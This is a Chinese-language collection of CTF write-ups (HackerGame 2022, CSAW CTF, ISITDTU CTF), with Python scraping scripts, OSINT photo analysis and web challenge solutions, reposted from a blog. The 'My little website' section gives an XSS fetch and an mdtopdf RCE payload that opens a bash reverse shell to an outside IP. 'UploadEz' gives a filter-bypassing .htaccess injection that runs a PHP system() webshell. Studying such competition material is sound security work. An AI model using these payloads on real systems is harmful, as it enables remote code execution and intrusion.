HackerGame-2022

WEB

Xcaptcha

人机测试(bushi),要在一秒内回答三道特别大数字的加法问题来获得flag,编写脚本爬虫即可解决。首先要获取题目的html格式信息来提取加法问题,在访问题目网址之前要加上账号认证的cookie,格式为”session:xxxx”,具体内容可以在访问题目网址时抓包得到。访问后会发现加法题目信息在 <label for=\"captcha1\"> 标签中,共有三个题目三个标签,一一获取后计算得到答案,再传给服务器即可获得flag。发送答案的包格式也可以抓包获取,使用post上传”captcha1-3″三个键的值即可。脚本如下:

from urllib import request
import requests
import re
cookie={'session':".eJwdkEtLQnEQxb_LXV9o3g-hxTVchIna64o7JSuzEkVRib57_xsMs5kz53c4P9VhdT5UvQrNTNANWDhIKdNqJlDRZMEQciKDCNHoNqWyAySZQY3dZ7qgigEQMhNTehnhYgugropZdwizzJQgwwBVc1QQtYxw_xdR1GrGiaQAUWCmRZPqFpEF0t3ImbWkI6MgN03JYsMCgIrmTIEF4kDiwDWmZQdJYmQxVkB3Qw8uGVJFlBUdq7o6bDer764LoOiNBk83tzfN_PZtvG_z2K6_HmcrGc5i-LKkq-d2Mm4_cISz3Xz4vhwcLs160JzfN58Pq7bfHnc4nb9yM3ubNDRaTLf7nfP9Yny5659P0S6b03X1-wchu1ws.Y1ODyQ.eH6ZK6FOisgl_WCDbqTlPPngAvQ"}
req=requests.session()
url="http://202.38.93.111:10047/xcaptcha"
html=req.get(url,cookies=cookie)

print(html.text)

captcha1=re.findall('<label for=\"captcha1\">([0-9]*\+[0-9]*)',html.text)
captcha2=re.findall('<label for=\"captcha2\">([0-9]*\+[0-9]*)',html.text)
captcha3=re.findall('<label for=\"captcha3\">([0-9]*\+[0-9]*)',html.text)
cap1=eval(captcha1[0])
cap2=eval(captcha2[0])
cap3=eval(captcha3[0])

ans={
    "captcha1":cap1,
    "captcha2":cap2,
    "captcha3":cap3
}
html=req.post(url,data=ans)
print(html.text)

得到flag:flag{head1E55_br0w5er_and_ReQuEsTs_areallyour_FR1ENd_619b077f58}

家目录里的秘密

VSC中的flag

flag在uer目录下的.config文件夹中,由于 grep -r flag ./* 命令不能包括隐藏文件,因此要么逐个文件夹尝试,要么直接使用VSCode打开该文件夹,然后全局搜索flag字符串。

Rclone里的flag

猜测flag在rclone配置文件flag2模块的密码中,rclone采用简单的可逆加密来对密码进行简单的替换,因此flag应该就在密码解密后的内容中,但不知道如何对密码进行解密。

旅行照片2.0

照片分析

image-20221022161654416

exif信息使用ExifTool工具查看,或者直接右键文件查看属性也可以(信息足够,但是有歧义,属性中ISO标记为ISO速度让人摸不着头脑。有问题的时第一问,EXIF版本信息为0231,但答案是2.31…

社工实践

红米note9 4G 2340×1080

APA 东京湾幕张度假酒店:日本千叶县千叶市美浜区

圆形建筑为千叶海洋球场,球场在酒店西面,飞机往北飞

起飞点为羽田国际机场

(HND) Haneda Airport Departures

CSAWCTF

Web

Word wide web

使用爬虫截取返回信息,用正则匹配寻找有效的 <a 标签,匹配href后的路径并重复访问,直到找到flag。网页会用cookie检测用户,相应头中有字段 “Set-Cookie” 表示新cookie的值,将cookie设置为相应的值后再次发送即可完成认证,最后停止即可得到flag

手动设置cookie:

import requests
import re

url="http://web.chal.csaw.io:5010"
reg="/stuff"
ck={"solChain":"stuff"}
cnt=0

while 1:
    strhtml = requests.get(url+reg,cookies=ck)  #设置cookie
    regs=re.findall("<a href=\"(/[^>\"]*)\">",strhtml.text) #寻找href
    cnt+=1
    headers=strhtml.headers
    print(headers)
    try:
        print(headers['Set-Cookie'])
        reg_one=re.findall("solChain=([^;]*)",headers['Set-Cookie'])    #提取新cookie
    except:
        print(cnt)
        print(strhtml.text) #回显flag
        print("no cookie!")
        break
    ck["solChain"]=reg_one[0]   #设置cookie
    print(ck)

    if len(regs)==0:
        print(cnt)
        break
    else:
        reg=regs[0]

用session保持会话自动存储cookie:

import requests
import re

req=requests.session()
url="http://web.chal.csaw.io:5010"
reg="/stuff"
cnt=0

while 1:
    strhtml = req.get(url+reg)  #设置cookie
    regs=re.findall("<a href=\"(/[^>\"]*)\">",strhtml.text) #寻找href
    cnt+=1

    if len(regs)==0:
        print(cnt)
        print(strhtml.text) #回显flag
        break
    else:
        reg=regs[0]

My little website

先访问自己的服务器,关闭一下防火墙先:CentOS-firewalld防火墙设置

<script>
fetch('http://myIp:23333');
</script>
Ncat: Connection from 35.88.90.167.
Ncat: Connection from 35.88.90.167:59630.
GET / HTTP/1.1
Host: myIp:23333
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/106.0.5249.0 Safari/537.36
Accept: */*
Origin: http://localhost:44791
Referer: http://localhost:44791/
Accept-Encoding: gzip, deflate
Accept-Language: en-US

得到的回显如上,接收到一些信息,如UA和Origin:host、referer和origin的区别

若是使用https协议访问服务器,会导致服务器接受到乱码信息

由于origin显示的是服务器的地址,因此它应该可以访问自己,尝试访问其本地的内容并将其渲染出来:

<script>
fetch('/')
	.then(response => response.text())
	.then(data => document.write(" <pre> "+data));
</script>

这里的主要问题在于如何将fetch到的内容渲染出来,一方面使用document.write(str)将字符串写入当前的文件中,另一方面fetch返回的response中 text() 函数对应于 json() 可以将访问得到响应内容的主体部分,也就是HTML内容以文本的形式返回回来。(一开始遇到的主要问题是不知道这个response到底把HTML内容放哪去了)由于写进去的是字符串内容,可以直接在前面连接一个 <pre> 标签,保留目标内容中的空白字符,使得展示的内容有缩进。(直接展示会合并空白字符导致可读性差)

进去以后会发现有个node.js存放依赖列表的package.json文件,其中有个依赖是”mdtopdf 4.0.0″,搜索相关的CVE会发现它在5.0.0版本前有个RCE漏洞,直接搜索可找到PoC,将payload换成revshell内容即可:

---js
((require("child_process")).execSync("bash -c 'bash -i >& /dev/tcp/ip/23333 0>&1 '"))
---RCE

PoC中的第一个n其实是\n,而且这个漏洞看起来非常的奇怪,也不知道是怎么实现的rce(好像这诡异的注释都是RCE的原因)

由于默认的shell是sh,而sh没法revshell,因此手动用bash读取命令,最后的单双引号中至少要有一个前面有一个空格,否则就无法成功,原因不明。

得到shell后直接 cat /flag.txt 即可得到flag:CTF{pdf_c0nt1nu3s_70_5uCK}

ISITDTUCTF

WEB

UploadEz

网页源码:

<?php
//flag in flag
//Attempt to upload failed, you have to start over
if (!isset($_GET['shell']) || !isset($_GET['filename'])) {
    highlight_file(__FILE__);
    die();
}
$shell = $_GET['shell'];
if (preg_match('/(on|flag|index|cat|file)/i', $shell)) {
    die("Try hard broooooo !!!");
}
$filename = $_GET['filename'];
if (preg_match("/[^a-z.]/", $filename)) {
    die("Try hard broooooo !!!");
}

file_put_contents($filename, $shell . "\nWelcome to ISITDTU CTF 2022");
?>

有一个 file_put_contents($filename,$shell."\nWelcome to ISITDTU CTF 2022"); 效果是将shell中的内容接上一段文本写到filename文件中。因此相当于可以上传文件。

起初的思路是上传一个php脚本然后直接访问执行,但是在Apache的配置文件”000-default.conf”中:

<Location />
    AllowOverride all
    Require all granted
</Location>
<Location /index.php>
    php_admin_flag engine on
</Location>

服务器规定只对index.php进行php解析,尽管”index”没被过滤,但无法覆盖index.php。

留意到配置中打开了 AllowOverride all ,”.htaccess”文件被启用了,所以可以通过上传”.htaccess”来修改服务器配置,从而执行原本不能执行的php脚本。.htaccess:

php_value auto_prepend_fi\
le .htaccess
#<?php echo exec('nl /*'); ?>
#\
Welcome to ISITDTU CTF 2022#

php_value auto_prepend_file qwq.txt 会在主网页被解析之前先解析所选中的文件”qwq.txt”,因此就可以执行木马命令。不合格式的内容会污染”.htaccess”文件,导致服务器配置混乱,直接炸掉,因此需要用”#”注释掉脏内容。

“\”可以连接两行的内容(感觉是转义的跨行连接),一方面绕过对”file”字符的过滤,一方面注释掉连接的冗余内容(冗余内容前面有个换行,不能直接注释掉)。而解析php时”#”并不是注释,不影响php执行。

payload:

?filename=.htaccess&shell=php_value auto_prepend_fi\%0ale .htaccess %0a %23 <?php system('ca'.'t /fl'.'ag'); ?>%0a%23\

Little Tips:

  1. “?>”不能缺少,否则php解析会失败;
  2. exec 需要加上echo,且只会返回执行结果的第一项,最好采用 system()
  3. “\n#\”换成”#\\n”就戳啦;
  4. 输入时”#”要写成”%23″,井号本身有特殊含义;
  5. GET传入键值时等号后的内容原样输入支持空格,因此引号也会被读入,同时框内的内容也不用反斜杠转义,因为可以采用URL编码,因此传反斜杠时会原样输入进去。

参考:.htaccess的使用技巧总结

原文地址:http://www.cnblogs.com/Forest-set-you/p/16906768.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性